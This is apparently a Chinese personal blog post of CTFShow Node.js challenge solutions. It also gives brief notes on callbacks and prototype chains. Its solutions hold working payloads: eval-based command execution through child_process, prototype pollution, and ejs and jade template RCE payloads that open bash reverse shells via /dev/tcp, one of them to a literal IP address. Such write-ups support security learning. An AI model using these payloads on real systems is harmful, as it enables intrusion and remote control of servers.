CTF Node.js学习

yansui Lv3

CTF Node.js学习

暑假回家就想开摆了,随便写写了

一、Node.js基础

参考文档

个人感觉最需要注意的是什么是回调函数,经常使用且在PHP,python C/C++中并没有出现过

二、Node.js安全

不错的链接

有关什么是原型和原型链

这里稍微写一下自己对原型和原型链的一点理解,防止学完就忘了
因为JavaScript中没有类的概念,要实现对象的继承就是通过原型对象来实现。
具体地说,对于一个对象,它会有__proto__属性指向这个对象的原型对象
对于一个函数,特别是构造器函数,会有一个prototype属性指向这个构造器对应的原型对象,这个对象的原型对象的构造器就是这个函数。这个函数通过new关键字可以创造一个对象。

依我用面向对象的方式理解的话,原型或许就可以类比为父类??也不知道对不对

三、CTFShow题解

Web334

看懂代码就行,意思是用户名!=CTFSHOW,但是转大写之后得是CTFSHOW,密码是123456

payload:
ctfshow:123456

Web335

使用Node.js调用系统命令

方法一:
文件操作

?eval=require(‘fs’).readdirSync(‘.’);
?eval=require(‘fs’).readFileSync(‘fl00g.txt’);

方法二:
执行系统命令

?eval=require(‘child_process’).execSync(‘ls’).toString();
?eval=require(‘child_process’).spawnSync(‘cat’,[‘fl00g.txt’]).output;
?eval=require(‘child_process’).spawnSync(‘cat’,[‘fl00g.txt’]).stdout;
?eval=global.process.mainModule.constructor._load(‘child_process’).exec(‘ls’);

Web336

几乎跟上道题一样

Web337

有关nodejs中的’===’:

(1) 不同类型值比较时,如果两个值的类型不同,直接返回false;
(2) 同一类的原始类型值(数值、字符串、布尔值)之间比较时,值相同就返回true,值不同就返回false;
(3) 同一类的复合类型值(对象、数组、函数)之间比较时,不是比较它们的值是否相等,而是比较它们是否指向同一个对象;
(4) undefined和 null 与自身严格相等。

payload:

1
a[]=1&b[]=1 //为啥a[]=2&b[]=1不行我也不知道

Web338

开始原型链污染了 不会了(悲

payload:
{"__proto__": {"ctfshow": "36dboy"}}

Web339&Web340

表达式 Function(query)(query) 的作用是将字符串 query 解析为一个函数,并将其执行。换句话说,它将字符串 query 当作函数体来解析,并立即执行。这样的写法常用于动态执行字符串形式的 JavaScript 代码。

所以只要污染Object.porototype中的query对象即可

payload:

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}

先在主页GUI登录,直接抓包改payload(只有一次机会!!!),然后直接访问/api

Web341

ejs rce
payload:

1
2
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

Web342

jade模板RCE,抄的别的大佬的wp

payload:

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.37.219.181/7777 0>&1\"')"}}}

Web343

同上。

Web344

payload:

?query={“name”:”admin”&query=”password”:”%63tfshow”&query=”isVIP”:true}

  • 标题: CTF Node.js学习
  • 作者: yansui
  • 创建于: 2023-07-17 11:25:01
  • 更新于: 2023-07-17 11:24:26
  • 链接: http://yansui.xyz/2023/07/17/nodejs学习总结/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论